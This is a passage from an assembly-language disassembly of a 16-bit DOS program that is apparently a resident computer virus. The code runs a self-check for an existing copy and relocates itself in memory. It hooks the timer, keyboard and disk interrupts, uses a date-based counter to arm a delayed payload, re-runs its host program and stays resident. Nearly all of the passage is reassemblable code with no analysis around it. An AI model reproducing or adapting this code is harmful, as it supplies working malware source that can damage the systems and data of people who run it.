db 0, 0B8h, 40h, 4Bh, 0CDh, 21h
db 3Dh, 78h, 56h, 75h, 13h, 7
db 2Eh, 8Eh, 16h, 1Ah, 0, 2Eh
db 8Bh, 26h, 18h, 0, 0E8h, 8Bh
db 0FFh, 2Eh, 0FFh, 2Eh, 1Ch, 0
db 0E8h, 60h, 0FFh, 0B4h, 0, 0CDh
db 1Ah, 8Bh, 0DAh
loc_63:
int 1Ah ; Real time clock ah=func 00h
; get system timer count cx,dx
cmp bx,dx
je loc_63 ; Jump if equal
xor si,si ; Zero register
mov bx,dx
loc_64:
int 1Ah ; Real time clock ah=func 00h
; get system timer count cx,dx
inc si
cmp bx,dx
je loc_64 ; Jump if equal
mov word ptr cs:data_48e,0A000h ; (6C23:0064=0)
mov bx,si
sub bx,50h
cmp bx,0A00h
jae loc_65 ; Jump if above or =
mov cl,4
shl bx,cl ; Shift w/zeros fill
mov cs:data_48e,bx ; (6C23:0064=0)
loc_65:
xor ax,ax ; Zero register
mov es,ax
mov ax,es:data_1e ; (0000:03FC=0F000h)
mov cs:data_44e,ax ; (6C23:0042=0)
mov al,es:data_2e ; (0000:03FE=16h)
mov cs:data_45e,al ; (6C23:0044=0)
mov word ptr es:data_1e,0A5F3h ; (0000:03FC=0F000h)
mov byte ptr es:data_2e,0CBh ; (0000:03FE=16h)
pop ax
add ax,10h
mov es,ax
push cs
pop ds
mov cx,0BC4h
shr cx,1 ; Shift w/zeros fill
xor si,si ; Zero register
mov di,si
push es
mov ax,9B3h
push ax
;* jmp far ptr loc_1 ;*(0000:03FC)
db 0EAh, 0FCh, 3, 0, 0
db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0B4h
db 0Bh, 33h, 0C0h, 8Eh, 0D8h, 2Eh
db 0A1h, 42h, 0, 0A3h, 0FCh, 3
db 2Eh, 0A0h, 44h, 0, 0A2h, 0FEh
db 3, 8Bh, 0DCh, 0B1h, 4, 0D3h
db 0EBh, 83h, 0C3h, 20h, 0B4h, 4Ah
db 2Eh, 8Eh, 6, 40h, 0, 0CDh
db 21h, 0B8h, 21h, 35h, 0CDh, 21h
db 2Eh, 89h, 1Eh, 38h, 0, 2Eh
db 8Ch, 6, 3Ah, 0, 0Eh, 1Fh
db 0BAh, 11h, 5, 0B8h, 21h, 25h
db 0CDh, 21h, 8Eh, 6, 40h, 0
db 26h, 8Eh, 6, 2Ch, 0, 33h
db 0FFh, 0B9h, 0FFh, 7Fh, 32h, 0C0h
locloop_66:
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
cmp es:[di],al
loopnz locloop_66 ; Loop if zf=0, cx>0
mov dx,di
add dx,3
mov ax,4B00h
push es
pop ds
push cs
pop es
mov bx,8Ah
push ds
push es
push ax
push bx
push cx
push dx
push cs
pop ds
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
sub cx,7BCh
mov ax,cx
mov bx,dx
mov cx,168h
mul cx ; dx:ax = reg * ax
xchg ax,bx
add bl,al
adc bh,0
mov al,ah
mov cl,1Eh
mul cl ; ax = reg * al
add ax,bx
sub ax,ds:data_37e ; (6C23:0030=0)
ja loc_67 ; Jump if above
jmp loc_70 ; (0BD0)
loc_67:
add ds:data_37e,ax ; (6C23:0030=0)
cmp ax,7
ja loc_68 ; Jump if above
jmp short loc_70 ; (0BD0)
db 90h
loc_68:
mov ax,3508h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_39e,bx ; (6C23:0034=0)
mov word ptr ds:data_39e+2,es ; (6C23:0036=0)
push cs
pop ds
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
mov cl,dh
and cl,1
cmp cl,0
mov dx,2AEh
mov byte ptr ds:data_51e,0 ; (6C23:0069=0)
jnz loc_69 ; Jump if not zero
mov dx,2D2h
mov byte ptr ds:data_51e,1 ; (6C23:0069=0)
loc_69:
mov word ptr ds:data_23e,1 ; (6C23:0003=0)
mov data_54,0 ; (6C23:0122=0)
mov data_53,1 ; (6C23:0121=2)
mov byte ptr ds:data_50e,0 ; (6C23:0068=0)
mov byte ptr ds:data_52e,0 ; (6C23:006A=0)
mov ax,2508h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3509h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_25e,bx ; (6C23:0006=0)
mov word ptr ds:data_25e+2,es ; (6C23:0008=0)
mov dx,35Dh
mov ax,2509h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3513h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_27e,bx ; (6C23:000A=0)
mov word ptr ds:data_27e+2,es ; (6C23:000C=0)
mov dx,4EFh
mov ax,2513h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_70:
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pushf ; Push flags
call dword ptr cs:data_41e ; (6C23:0038=0)
push ds
pop es
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ah,4Dh ; 'M'
int 21h ; DOS Services ah=function 4Dh
; get return code info in ax
mov ah,31h ; '1'
mov dx,0BC4h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,10h
int 21h ; DOS Services ah=function 31h
; terminate & stay resident
db 154 dup (0)
db 6Ch, 15h, 2, 2Ah, 8Ah, 0
db 0BCh, 7, 1, 1, 0C4h, 0Bh
db 6Ch, 15h, 73h, 12h, 0F4h, 2
db 4, 7Fh, 0CCh, 0, 0C4h, 0Bh
db 1Dh, 0, 0, 0, 6Fh, 12h
db 0AFh, 0Eh, 0F4h, 0Ah, 73h, 12h
db 6, 0F2h, 82h, 0F0h, 0EBh, 6Fh
db 66h, 2, 0EBh, 6Fh, 57h, 9
db 0, 70h, 5Ah, 0, 0, 0C0h
db 7Ch, 90h
db 20 dup (90h)
db 0CDh, 21h
seg_a ends
end start

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